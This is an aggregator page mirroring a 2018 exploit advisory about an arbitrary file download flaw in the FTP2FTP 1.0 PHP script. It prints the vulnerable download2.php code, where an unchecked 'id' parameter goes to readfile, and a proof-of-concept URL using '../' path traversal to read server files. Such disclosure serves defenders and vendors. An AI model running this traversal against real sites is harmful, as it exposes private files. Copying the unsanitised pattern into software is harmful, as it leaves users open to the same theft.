Lucene search
K

FTP2FTP 1.0 Arbitrary File Download

🗓️ 18 Jul 2018 00:00:00Reported by Ozkan Mustafa AkkusType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

FTP2FTP 1.0 Arbitrary File Download vulnerability in admin pane

Code
`# Exploit Title: FTP2FTP 1.0 - Arbitrary File Download  
# Dork: N/A  
# Date: 18.07.2018  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395  
# Version: 1.0  
# Category: Webapps  
# Tested on: Kali linux  
# Description : The "download2.php" is vulnerable in the admin panel.  
The attacker can download and read all files known by the name via 'id' parameter.  
  
====================================================  
  
  
# Vuln file : /FTP2FTP/download2.php  
  
1. <?php  
2. $file = "tempFiles2/".$_GET['id'];  
3.  
4.  
5. if (file_exists($file)) {  
6. header('Content-Description: File Transfer');  
7. header('Content-Type: application/octet-stream');  
8. header('Content-Disposition: attachment; filename="'.basename($file).'"');  
9. header('Expires: 0');  
10. header('Cache-Control: must-revalidate');  
11. header('Pragma: public');  
12. header('Content-Length: ' . filesize($file));  
13. readfile($file);  
14. exit;  
15. }  
16. ?>  
  
# PoC : http://sitenet/FTP2FTP/download2.php?id=../index.php  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jul 2018 00:00Current
22